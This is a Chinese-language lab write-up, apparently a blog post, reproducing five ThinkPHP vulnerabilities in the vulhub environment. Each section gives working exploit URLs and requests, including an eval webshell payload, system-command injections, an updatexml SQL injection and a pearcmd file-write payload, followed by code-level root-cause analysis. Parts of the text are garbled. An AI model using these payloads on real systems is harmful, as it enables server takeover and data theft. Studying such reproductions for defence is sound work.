vulhub-Thinkphp漏洞
一、2.x-rce Thinkphp命令执行
影响范围:
ThinkPHP 2.x 所有版本
ThinkPHP 3.0 版本(仅限运行在Lite轻量模式下,该模式未修复此漏洞)
PHP版本要求: PHP 版本需低于 5.6.29 (因为/e修饰符在PHP 5.5中已废弃,并在PHP 7.0中被移除)。
漏洞危害: 攻击者可在服务器上执行任意PHP代码,导致服务器被完全控制(RCE - Remote Code Execution)。
利用条件: 知道目标网站的入口URL(通常是index.php)。
1.复现环境
vulhub-master靶场下的Thinkphp/2-rce


2.漏洞利用
攻击的核心在于构造特殊的URL参数PATH_INFO,触发存在漏洞的代码。
探测漏洞/查看phpinfo:
访问URL:http://目标地址:端口/index.php?s=/index/index/xxx/
@
p
h
p
i
n
f
o
(
)
解释:
i
n
d
e
x
.
p
h
p
:
T
h
i
n
k
P
H
P
入口文件。
s
=
/
i
n
d
e
x
/
i
n
d
e
x
/
x
x
x
/
:
T
h
i
n
k
P
H
P
兼容模式路由参数
s
,指定访问模块
(
i
n
d
e
x
)
、控制器
(
i
n
d
e
x
)
、方法
(
x
x
x
)
。方法名
x
x
x
可以是任意不存在的字符串。
{@phpinfo()} 解释: index.php: ThinkPHP入口文件。 s=/index/index/xxx/: ThinkPHP兼容模式路由参数s,指定访问模块(index)、控制器(index)、方法(xxx)。方法名xxx可以是任意不存在的字符串。
@phpinfo()解释:index.php:ThinkPHP入口文件。s=/index/index/xxx/:ThinkPHP兼容模式路由参数s,指定访问模块(index)、控制器(index)、方法(xxx)。方法名xxx可以是任意不存在的字符串。{@phpinfo()}: 这是漏洞利用的Payload。 {} 内的内容会被当作PHP代码执行。@用于抑制错误,phpinfo()是执行的函数。
效果: 服务器会执行phpinfo()函数,并将结果输出到页面上,证明漏洞存在且可利用。
获取WebShell(执行任意命令):
访问URL:http://目标地址:端口/index.php?s=/index/index/xxx/${@print(eval($_POST[1]))}

解释:
${@print(eval($_POST[1]))}: 核心Payload。
eval($_POST[1]): eval函数执行通过POST参数1传递过来的任意字符串代码。
print(...): 将eval的执行结果输出(通常WebShell不需要输出,这里主要是包裹执行)。
@: 抑制可能的错误信息。
这个Payload相当于在服务器端的内存中创建了一个动态的、不落地的WebShell。
连接WebShell:
使用中国蚁剑(AntSword)、中国菜刀(Cknife)等WebShell管理工具。
URL: http://目标地址:端口/index.php?s=/index/index/xxx/${@print(eval($_POST[1]))}
连接密码: 1 (对应$_POST[1]中的1)。
连接方式: 通常选择POST。

3.原理分析
漏洞根源位于文件:/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

- 关键漏洞代码:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr, $paths));preg_replace: PHP函数,用于执行正则表达式搜索和替换。/e修饰符: 这是漏洞核心! 这个修饰符告诉preg_replace,将replacement参数(第二个参数)当作PHP代码来执行,而不是当作普通的字符串。- 正则表达式
@(\w+)'.$depr.'([^'.$depr.'\/]+)@e:- 匹配模式:
(\w+)(匹配1个或多个字母数字下划线 - 组1) +$depr(URL路径分隔符,通常是/) +([^'.$depr.'\/]+)(匹配1个或多个非$depr且非/的字符 - 组2)。例如:name/value或id/123。
- 匹配模式:
- 替换字符串
'$var[\'\\1\']="\\2";':- 这是一个PHP代码字符串。
\\1会被替换为组1匹配到的内容(如name或id),\\2会被替换为组2匹配到的内容(如value或123)。 - 最终生成的代码类似于:
$var['name'] = "value";或$var['id'] = "123";。这段代码会被/e修饰符执行。
- 这是一个PHP代码字符串。
- 输入数据
implode($depr, $paths):$paths数组来源于$paths = explode($depr, trim($_SERVER['PATH_INFO']));。$_SERVER['PATH_INFO']是攻击者可控的输入! 它来自URL中入口文件index.php后面的部分(例如,访问/index.php/a/b/c,PATH_INFO就是/a/b/c)。implode($depr, $paths)将$paths数组用分隔符$depr连接成一个字符串。攻击者构造的恶意Payload(如${@phpinfo()})就在这个字符串中。
- 漏洞触发流程:
- 攻击者访问精心构造的URL:
http://target/index.php?s=/module/controller/action/param1/${@malicious_code()} - 框架解析路由:
- 兼容模式
s=参数解析出模块(module)、控制器(controller)、操作(action)。 - 剩余部分
/param1/${@malicious_code()}被赋值给$_SERVER['PATH_INFO']。
- 兼容模式
- 代码处理:
$paths = explode('/', trim($_SERVER['PATH_INFO']));->['param1', '${@malicious_code()}']implode('/', $paths)->"param1/${@malicious_code()}"
- 执行危险
preg_replace- 正则表达式尝试匹配
param1/${@malicious_code()}。 - 匹配成功:组1 =
'param1', 组2 ='${@malicious_code()}'。 - 替换字符串变为:
$var['param1'] = "${@malicious_code()}";。 - 由于使用了
/e修饰符,PHP引擎会尝试执行这段替换字符串生成的代码。
- 正则表达式尝试匹配
- 代码执行发生:
- 在执行赋值操作
$var['param1'] = ...时,右侧的字符串"${@malicious_code()}"会被解析。 ${...}语法: 在PHP中,${}内部的表达式会被先求值。如果{}内是一个函数调用(如@malicious_code()),该函数会被执行!- 因此,
@malicious_code()被执行,攻击者的任意代码得以运行。
- 在执行赋值操作
- 攻击者访问精心构造的URL:
${}的可执行性:- 这是PHP的特性。
${var_name}通常用于可变变量名。但当var_name部分是一个可调用的函数名(或包含函数调用)时,该函数会被执行,其返回值作为变量名(但这通常不是预期用法,且常导致错误)。 - 在漏洞利用中,我们利用了这个特性(以及潜在的PHP错误处理)来执行函数。
@用于抑制执行过程中可能产生的非致命错误或警告,使利用更稳定。
- 这是PHP的特性。
二、5.0.23rce Thinkphp命令执行
影响范围:
• ThinkPHP版本:5.0.0至5.0.23版本
• 完整版(带captcha验证码模块)
PHP版本要求:
• 无特定版本要求
• 需支持call_user_func函数
• 未禁用system、exec等危险函数
漏洞危害:
• 远程代码执行(RCE):攻击者可执行任意系统命令
利用条件:
-
基本条件:
• 使用受影响版本(≤5.0.23)• 攻击者可发送POST请求
-
环境差异:
• 需安装captcha验证码模块(默认安装) -
必要参数:
• _method=__construct(触发方法覆盖)• filter[]=system(注入恶意过滤器)
• server[REQUEST_METHOD]或get[](携带执行的命令)
1.复现环境
vulhub-master靶场下的Thinkphp/2-rce


2.漏洞利用

POST /index.php?s=captcha HTTP/1.1
........
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
3.原理分析
- 关键漏洞代码
漏洞点1:
Request::method()方法(thinkphp/library/think/Request.php)

漏洞点2:Request::__construct()方法(属性覆盖)

漏洞点3:Request::filterValue()方法(命令执行点)

2. 漏洞执行过程
攻击流程:
- 触发方法调用链
POST /index.php?s=captcha HTTP/1.1
...
_method=__construct&filter[]=system&get[]=whoami
-
利用method()动态调用
通过
_method=__construct
触发
$this->__construct($_POST) -
覆盖类属性
__construct()处理:
filter[]=system → $this->filter = ['system']
get[]=whoami → $this->get = ['whoami']
- 触发过滤执行链
当后续调用param()或input()时:
public function param($name = '', $default = null, $filter = '')
{
// ...
return $this->input($this->param, $name, $default, $filter);
}
- 执行filterValue()中的回调
input() → filterValue()执行:
$filters = $this->filter = ['system']
$value = $this->get[0] = 'whoami'
call_user_func('system', 'whoami')
三、5-rce Thinkphp命令执行
路由对控制器名控制不严谨导致的RCE
影响范围:ThinkPHP 5.0系列(5.0.5至5.0.22版本)和5.1系列(5.1.0至5.1.30版本)
PHP版本要求: 该漏洞对PHP版本无特殊要求,只要满足ThinkPHP框架运行环境即可(通常PHP 5.4及以上)
漏洞危害: 远程代码执行(RCE)攻击者可在服务器上执行任意系统命令
利用条件:
框架配置:使用默认路由兼容模式(未开启强制路由)
访问入口:可通过HTTP访问应用入口文件(如index.php)
漏洞版本:使用受影响版本的ThinkPHP框架
请求构造:攻击者能发送特定格式的恶意HTTP请求
1.复现环境
vulhub-master靶场下的Thinkphp/5-rce


2.漏洞利用

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
3.原理分析
- 关键漏洞代码:
(1)路由解析漏洞(routeCheck方法)
// thinkphp/library/think/App.php

漏洞点:当路由检测失败时,直接调用Route::parseUrl()解析URL路径,未对控制器名进行安全过滤。攻击者可通过s参数传递恶意控制器名。
(2) 控制器加载漏洞(module方法)
// thinkphp/library/think/App.php

漏洞点:
• 仅使用strip_tags()过滤控制器名(只能移除HTML标签)
• 未阻止特殊字符(如反斜杠\)
• 允许加载任意命名空间的类(包括核心类)
(3) 反射调用漏洞(invokeMethod方法)

漏洞点:直接反射调用方法,参数完全来自用户输入($vars),无任何过滤。
(4)参数绑定漏洞(bindParams方法)

漏洞点:自动将请求参数绑定到方法参数,攻击者可通过GET参数控制方法参数值。
(5)危险方法触发(think\App类)
// thinkphp/library/think/App.php
public function invokefunction($function, $vars = []) {
return call_user_func_array($function, $vars); // 直接执行任意函数
}
漏洞点:核心类提供直接执行任意函数的方法,参数完全可控。
漏洞触发链:

- 漏洞触发流程:
(1)URL解析
• 请求路径:/index.php?s=index/\think\app/invokefunction
◦ 模块:index
◦ 控制器:\think\app(绕过过滤,加载核心类)
◦ 操作:invokefunction
• 参数:
◦ function=call_user_func_array
◦ vars[0]=system
◦ vars[1][]=whoami
(2) 路由调度
• 框架通过App::run()初始化应用,解析s参数生成调度信息:
$dispatch = [‘type’ => ‘module’, ‘module’ => [‘index’, ‘\think\app’, ‘invokefunction’]];
• 进入module调度分支,调用Loader::controller(‘\think\app’)加载控制器。
(3)控制器名绕过
• 漏洞代码(thinkphp/library/think/App.php):
$controller = strip_tags($result[1]); // 仅过滤HTML标签,未阻止反斜杠
$instance = new $controller(); // 实例化\think\app类
• 由于未对命名空间字符’\'过滤,成功实例化核心类think\App。
(4)方法调用准备
• 操作名invokefunction通过反射检查:
if (is_callable([$instance, 'invokefunction'])) {
$call = [$instance, 'invokefunction'];
}
• 确认方法存在后,进入invokeMethod()反射调用流程。
(5)参数绑定过程
• 通过Request::instance()->param()获取所有GET参数:
$vars = [
'function' => 'call_user_func_array',
'vars' => ['system', ['whoami']]
];
• 反射方法invokefunction的参数 f u n c t i o n 和 function和 function和vars被赋值为上述数组。
(6)危险方法触发
• 调用think\App类的invokefunction方法:
public function invokefunction($function, $vars = []) {
return call_user_func_array($function, $vars);
}
• 实际执行:
call_user_func_array(‘call_user_func_array’, [‘system’, [‘whoami’]]);
// 等价于 system(‘whoami’);
• 系统执行whoami命令并返回结果。
四、in-sqlinjection ThinkphpSQL注入
影响范围:
• 框架版本:
ThinkPHP 5.0.0 - 5.0.19
ThinkPHP 5.1.0 - 5.1.6
• 数据库驱动:
仅影响使用PDO连接MySQL的场景
PHP版本要求:
漏洞利用不依赖特定PHP版本
关键因素是框架逻辑和PDO配置
漏洞危害:
数据库敏感信息泄露(表结构/用户数据)
服务器文件读取(通过load_file()函数)
利用条件:
- 使用IN查询 代码中需存在->where(‘字段’,‘in’,$arr)结构
- 参数为关联数组 输入需为?ids[key]=value格式(非索引数组)
- PDO真实预处理 配置PDO::ATTR_EMULATE_PREPARES = false
- MySQL报错可回显 页面需显示SQL报错信息
1.复现环境
vulhub-master靶场下的Thinkphp/sql-sqlinjection


2.漏洞利用

index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
3.原理分析
-
关键漏洞代码:
(1)IN操作符处理逻辑(Builder类)
文件路径:application\index\controller\Index.php

(2)核心漏洞实现(框架底层)
文件路径:thinkphp/library/think/db/Builder.php

-
漏洞触发流程:
步骤1:构造恶意请求
攻击者发送包含恶意键名的数组参数:
http://target.com/index?ids[0,updatexml(0,concat(0xa,user()),0)]=1
• 后端解析为:
$ids = [ '0,updatexml(0,concat(0xa,user()),0)' => 1 ];
步骤2:SQL语句拼接
- 查询构造器遍历
i
d
s
数组键名
ids数组键名
ids数组键名k:
$k = ‘0,updatexml(0,concat(0xa,user()),0)’; - 生成绑定参数名:
$bindKey = 'where_id_in_0,updatexml(0,concat(0xa,user()),0)';
- 最终生成预编译SQL:
SELECT * FROM user
WHERE id IN (:where_id_in_0,updatexml(0,concat(0xa,user()),0)
结果:恶意函数updatexml()被直接嵌入SQL结构。
步骤3:PDO预处理阶段触发执行
- 非模拟预处理生效:
SQL语句发送至MySQL服务器编译(prepare()阶段)。 - MySQL解析报错:
• 服务器解析到updatexml()函数并立即执行,触发报错:
ERROR 1105 (HY000): XPATH syntax error: ‘\nroot@localhost’
• 报错信息泄露敏感数据(如数据库用户名)。
五、lang-rce
影响范围:
◦ ThinkPHP v6.0.0 到 v6.0.13
◦ ThinkPHP v5.0.0 到 v5.0.12
◦ ThinkPHP v5.1.0 到 v5.1.8
PHP版本要求:
◦ 没有特定的PHP版本限制。关键在于PHP环境的配置和组件:
▪ register_argc_argv 必须开启(默认为开启,但某些环境可能关闭)。
▪ PHP环境中必须安装了pear/pecl包管理器(确保存在pearcmd.php文件)。
漏洞危害:
◦ 远程命令执行:攻击者可以在服务器上执行任意系统命令。
◦ 服务器完全控制:攻击者可读写文件、植入后门、窃取数据、控制服务器。
利用条件:
◦ 目标ThinkPHP版本在受影响范围内。
◦ 服务器PHP配置启用了register_argc_argv(通常默认开启)。
◦ 服务器PHP环境安装了pear/pecl(确保pearcmd.php文件存在)。
◦ 攻击者能构造包含恶意lang参数的请求访问到目标网站(通常通过GET、Header、Cookie等位置注入)。
1.复现环境
vulhub-master靶场下的Thinkphp/lang-rce


2.漏洞利用

http://192.168.103.4:8080/index.php/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E+shell.php

3.原理分析
-
文件包含漏洞:
• ThinkPHP的多语言功能(lang参数)未正确过滤用户输入,攻击者通过lang参数传递恶意路径(如…/…/…/…/…/…/…/usr/local/lib/php/pearcmd),实现目录穿越。
• 服务端包含该文件时,会直接执行其中代码(需满足PHP文件包含条件)。 -
pearcmd.php的滥用:
• pearcmd.php是PHP的PEAR包管理器工具,提供命令行操作。
• 当PHP开启register_argc_argv(默认在部分环境开启)时,可通过Web请求模拟命令行参数调用pearcmd.php。• 攻击者利用其config-create命令将任意内容写入文件:
pecmd.php config-create <任意内容> <目标文件路径>
漏洞利用步骤(以示例请求说明)
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: 192.168.103.4:8080
...
关键参数拆解:
- +config-create+/
• 触发pearcmd.php的config-create命令(空格用+代替)。
• 命令格式:config-create <内容> <目标文件>。 - lang=…/…/…/…/…/…/…/usr/local/lib/php/pearcmd
• 利用目录穿越包含pearcmd.php文件(具体路径需根据目标环境调整)。 - &/<?=phpinfo()?>+shell.php
• <?=phpinfo()?>:要写入的恶意内容(此处为PHP代码)。
• shell.php:写入的目标文件名(位于Web根目录)。
漏洞利用结果 - 文件写入:
• 服务端执行等效命令:
pearcmd.php config-create / ‘<?=phpinfo()?>’ shell.php
• 在Web根目录生成shell.php文件,内容为<?=phpinfo()?>。 - 远程命令执行:
• 攻击者访问 http://192.168.103.4:8080/shell.php,执行phpinfo()代码。
• 可将phpinfo()替换为任意恶意代码(如反弹Shell),完全控制服务器。
参考
https://blog.csdn.net/qsort_/article/details/109909796
2911

被折叠的 条评论
为什么被折叠?



